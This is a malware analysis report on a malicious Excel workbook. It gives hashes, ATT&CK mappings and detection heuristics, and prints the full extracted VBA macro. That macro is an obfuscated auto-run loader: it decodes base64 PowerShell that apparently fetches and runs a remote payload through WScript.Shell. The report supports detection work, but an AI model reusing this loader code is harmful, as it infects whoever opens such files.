Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 be879e696522d091…

MALICIOUS

Office (OOXML)

17.3 KB Created: 2021-06-28 05:07:32 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-07-07
MD5: 172232e68ffd3896783661da88e1d558 SHA-1: fdf38ba397f1c0935bf1e352bdf426da19fd4cde SHA-256: be879e696522d091a42df7a74c5c10834adcab47967c4c585f1dc13961f5818e
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1140 Deobfuscate/Decode Files or Information

The file contains a Workbook_Open macro that triggers obfuscated VBA code. This code utilizes WScript.Shell and CreateObject to download and execute a second-stage payload, as indicated by the 'Obfuscated auto-exec VBA loader' and 'Shell() call in VBA' heuristics. The script's intent is to download and execute further malicious content.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    rtccibnugxqvtcwtilrbgqhcwke = 0
hfeyxbhfupcxhmyugadmbavjmvcufnyr = "WSCript.shell"
Set nzggfajnzkcdzix = CreateObject(hfeyxbhfupcxhmyugadmbavjmvcufnyr)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    rtccibnugxqvtcwtilrbgqhcwke = 0
hfeyxbhfupcxhmyugadmbavjmvcufnyr = "WSCript.shell"
Set nzggfajnzkcdzix = CreateObject(hfeyxbhfupcxhmyugadmbavjmvcufnyr)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    hfeyxbhfupcxhmyugadmbavjmvcufnyr = "WSCript.shell"
Set nzggfajnzkcdzix = CreateObject(hfeyxbhfupcxhmyugadmbavjmvcufnyr)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6268 bytes
SHA-256: 6f69ab67faf253827f1cf39033025862968108d94fdb8279aca49872c2186da6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()

ybzu.gqj
dh = 76

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ybzu"
Sub gqj()
On Error Resume Next
tpkm = d__as(129) & d__as(139) & d__as(130) & d__as(94) & d__as(109) & d__as(129) & d__as(94) & d__as(174) & d__as(141) & d__as(156) & d__as(149) & d__as(156) & d__as(163) & d__as(176) & d__as(145) & d__as(156) & d__as(166) & d__as(163) & d__as(156) & d__as(170) & d__as(170) & d__as(94) & d__as(107) & d__as(163) & d__as(94)
hbnwoafwvxcnyspvsmhifjrkwyjeiy = 60806
tpkm = tpkm & "WwBTAFkAUwBUAGUATQAuAHQAZQB4AHQALgBFAG4AYwBPAEQASQBOAEcAXQA6ADoAdQBuAGkAQwBvAGQARQAuAGcAZQBUAHMAdABSAEkATgBHACgAWwBTAFkAcwB0AEUAbQAuAGMATwBuAHYAZQBSAHQAXQA6ADoAZgBSAE8AbQBiAEEAUwBFADYANABTAHQAcgBJAG4AZwAoACIAWgBnAEIAMQBBAEcANABBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAWQBnAEIAcABBAEcAdwBBAFkAUQBCAHQAQQBHAGMAQQBjAHcAQgBuAEEARwA4AEEAZABnAEIAcgBBAEcASQBBAGUAZwBCADYAQQBHAGMAQQBZAGcAQgBrAEEARwAwAEEAZABBAEIAbwBBAEgATQBBAGUAQQBCAHYAQQBIAFEAQQBhAFEAQgA1AEEARwBzAEEASQBBAEEAbwBBAEMAQQBBAEoAQQBCAHoAQQBIAGsAQQBjAHcAQgBwAEEARwBNAEEAWgBBAEIANQBBAEcARQBBAGIAQQBCAG0AQQBIAGcAQQBhAEEAQgByAEEARwBJAEEAWQBnAEIA"
'yhpjxqkblandkbmgnfk
tpkm = tpkm & "dgBBAEgARQBBAFoAQQBCAHYAQQBDAEEAQQBMAEEAQQBnAEEAQwBRAEEAWQBnAEIAcABBAEcATQBBAFoAUQBCAHgAQQBHAGMAQQBZAHcAQgA0AEEASABJAEEAWgBBAEIAMABBAEgATQBBAGMAdwBCAHYAQQBIAFkAQQBZAFEAQgBwAEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBFAGsAQQBiAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAFQAUQBCAHYAQQBHAFEAQQBkAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEUAawBBAFYAQQBCAFQAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIARwBBAEcAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgB6AEEARgBRAEEAUQBRAEIAUwBBAEYAUQBBAEwAUQBCAEMAQQBFAGsAQQBWAEEAQgBUAEEASABRAEEAVQBnAEIAaABBAEcANABBAFUAdwBCAEcAQQBHAFUAQQBjAGcAQQBnAEEAQwAwAEEAVQB3AEIAUABBAEYAVQBBAFUAZwBCAGoA"
zomyckwqoxoaxtltekfuxayylyjczp = "qbowxoaapezbyktflxzdtzynbzpomdatryhn"
tpkm = tpkm & "QQBFAFUAQQBJAEEAQQBrAEEASABNAEEAZQBRAEIAegBBAEcAawBBAFkAdwBCAGsAQQBIAGsAQQBZAFEAQgBzAEEARwBZAEEAZQBBAEIAbwBBAEcAcwBBAFkAZwBCAGkAQQBHADgAQQBjAFEAQgBrAEEARwA4AEEASQBBAEEAdABBAEcAUQBBAFoAUQBCAHoAQQBIAFEAQQBTAFEAQgB1AEEARQBFAEEAZABBAEIAcABBAEcAOABBAFQAZwBBAGcAQQBDAFEAQQBZAGcAQgBwAEEARwBNAEEAWgBRAEIAeABBAEcAYwBBAFkAdwBCADQAQQBIAEkAQQBaAEEAQgAwAEEASABNAEEAYwB3AEIAdgBBAEgAWQBBAFkAUQBCAHAAQQBEAHMAQQBJAEEAQQBtAEEAQwBBAEEASgBBAEIAaQBBAEcAawBBAFkAdwBCAGwAQQBIAEUAQQBaAHcAQgBqAEEASABnAEEAYwBnAEIAawBBAEgAUQBBAGMAdwBCAHoAQQBHADgAQQBkAGcAQgBoAEEARwBrAEEATwB3AEEAZwBBAEgAMABBAGQAQQBCAHkAQQBIAGsAQQBlAHcAQQBrAEEA"
zomyckwqoxoaxtltekfuxayylyjczp = "qbowxoaapezbyktflxzdtzynbzpomdatryhn"
tpkm = tpkm & "RwBvAEEAYgBRAEIAagBBAEgAawBBAGQAUQBCADMAQQBIAFEAQQBjAFEAQgB2AEEARwBnAEEAWgBBAEIAawBBAEgAVQBBAGMAUQBCAHcAQQBHADAAQQBaAHcAQQA5AEEAQwBRAEEAUgBRAEIATwBBAEgAWQBBAE8AZwBCAGgAQQBGAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEMAcwBBAEoAdwBCAGMAQQBHAGsAQQBaAGcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBZAGcAQgBwAEEARwB3AEEAWQBRAEIAdABBAEcAYwBBAGMAdwBCAG4AQQBHADgAQQBkAGcAQgByAEEARwBJAEEAZQBnAEIANgBBAEcAYwBBAFkAZwBCAGsAQQBHADAAQQBkAEEAQgBvAEEASABNAEEAZQBBAEIAdgBBAEgAUQBBAGEAUQBCADUAQQBHAHMAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAE8AZwBBAHYAQQBDADgAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAegBBAEQA"
hbnwoafwvxcnyspvsmhifjrkwyjeiy = 60806
tpkm = tpkm & "UQBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQB1AEEARABnAEEATgBnAEEANgBBAEQAZwBBAE0AUQBBAHYAQQBIAGcAQQBMAHcAQgB6AEEARwA4AEEAWQBRAEEAeQBBAEQAZwBBAEwAZwBCAGwAQQBIAGcAQQBaAFEAQQBuAEEAQwBBAEEASgBBAEIAcQBBAEcAMABBAFkAdwBCADUAQQBIAFUAQQBkAHcAQgAwAEEASABFAEEAYgB3AEIAbwBBAEcAUQBBAFoAQQBCADEAQQBIAEUAQQBjAEEAQgB0AEEARwBjAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHAAQQBHAHcAQQBZAFEAQgB0AEEARwBjAEEAYwB3AEIAbgBBAEcAOABBAGQAZwBCAHIAQQBHAEkAQQBlAGcAQgA2AEEARwBjAEEAWQBnAEIAawBBAEcAMABBAGQAQQBCAG8AQQBIAE0AQQBlAEEAQgB2AEEASABRAEEAYQBRAEIANQBBAEcAcwBBAEkAQQBBAG4AQQBHAGcAQQBkAEEAQgAwAEEASABBAEEATwBnAEEAdgBBAEMAOABBAE4AdwBBADUAQQBDADQA"
hbnwoafwvxcnyspvsmhifjrkwyjeiy = 60806
tpkm = tpkm & "QQBNAFEAQQB6AEEARABRAEEATABnAEEAeQBBAEQASQBBAE4AUQBBAHUAQQBEAGcAQQBOAGcAQQA2AEEARABnAEEATQBRAEEAdgBBAEgAZwBBAEwAdwBCAHoAQQBHADgAQQBZAFEAQQB5AEEARABnAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgBxAEEARwAwAEEAWQB3AEIANQBBAEgAVQBBAGQAdwBCADAAQQBIAEUAQQBiAHcAQgBvAEEARwBRAEEAWgBBAEIAMQBBAEgARQBBAGMAQQBCAHQAQQBHAGMAQQBPAHcAQQBOAEEAQQBvAEEAWQBnAEIAcABBAEcAdwBBAFkAUQBCAHQAQQBHAGMAQQBjAHcAQgBuAEEARwA4AEEAZABnAEIAcgBBAEcASQBBAGUAZwBCADYAQQBHAGMAQQBZAGcAQgBrAEEARwAwAEEAZABBAEIAbwBBAEgATQBBAGUAQQBCAHYAQQBIAFEAQQBhAFEAQgA1AEEARwBzAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEA"
lawxtevbvvbofgnmdwvrcbvxym = oldfkacftkbcjpexrgybifqopucplkfz
tpkm = tpkm & "TgB3AEEANQBBAEMANABBAE0AUQBBAHoAQQBEAFEAQQBMAGcAQQB5AEEARABJAEEATgBRAEEAdQBBAEQAZwBBAE4AZwBBADYAQQBEAGcAQQBNAFEAQQB2AEEASABnAEEATAB3AEIAegBBAEcAOABBAFkAUQBBAHkAQQBEAGcAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHEAQQBHADAAQQBZAHcAQgA1AEEASABVAEEAZAB3AEIAMABBAEgARQBBAGIAdwBCAG8AQQBHAFEAQQBaAEEAQgAxAEEASABFAEEAYwBBAEIAdABBAEcAYwBBAE8AdwBBAE4AQQBBAG8AQQBmAFEAQgBqAEEARwBFAEEAZABBAEIAagBBAEcAZwBBAGUAdwBCADkAQQBBAD0APQAiACkAKQB8AGkAZQBYAA=="
lawxtevbvvbofgnmdwvrcbvxym = oldfkacftkbcjpexrgybifqopucplkfz


uvtvhbivpheyqtxtevfchvnhkulczm = tpkm
xfiwxxbsgrztgilsssusjoh (uvtvhbivpheyqtxtevfchvnhkulczm)
End Sub
Sub IF_Not()
    MsgBox Not (True)
End Sub
Function xfiwxxbsgrztgilsssusjoh(idimqszsifynt As String)
rtccibnugxqvtcwtilrbgqhcwke = 0
hfeyxbhfupcxhmyugadmbavjmvcufnyr = "WSCript.shell"
Set nzggfajnzkcdzix = CreateObject(hfeyxbhfupcxhmyugadmbavjmvcufnyr)

ciuwwnslxrdamorfwuvbmitkjnapndukjx = nzggfajnzkcdzix.Run(idimqszsifynt, rtccibnugxqvtcwtilrbgqhcwke)
End Function
Function d__as(l__k)
sdf = "dfsgf gddh yuytfh gbdhgf"
d__as = ChrW(l__k - 62)
teyh = "gfdfsgr gfdfsf gfhfgd bcdfg444"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23040 bytes
SHA-256: a3a1f50ebda97fcc40c8d248dd2b0981854745dd701693694237b555590c31db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.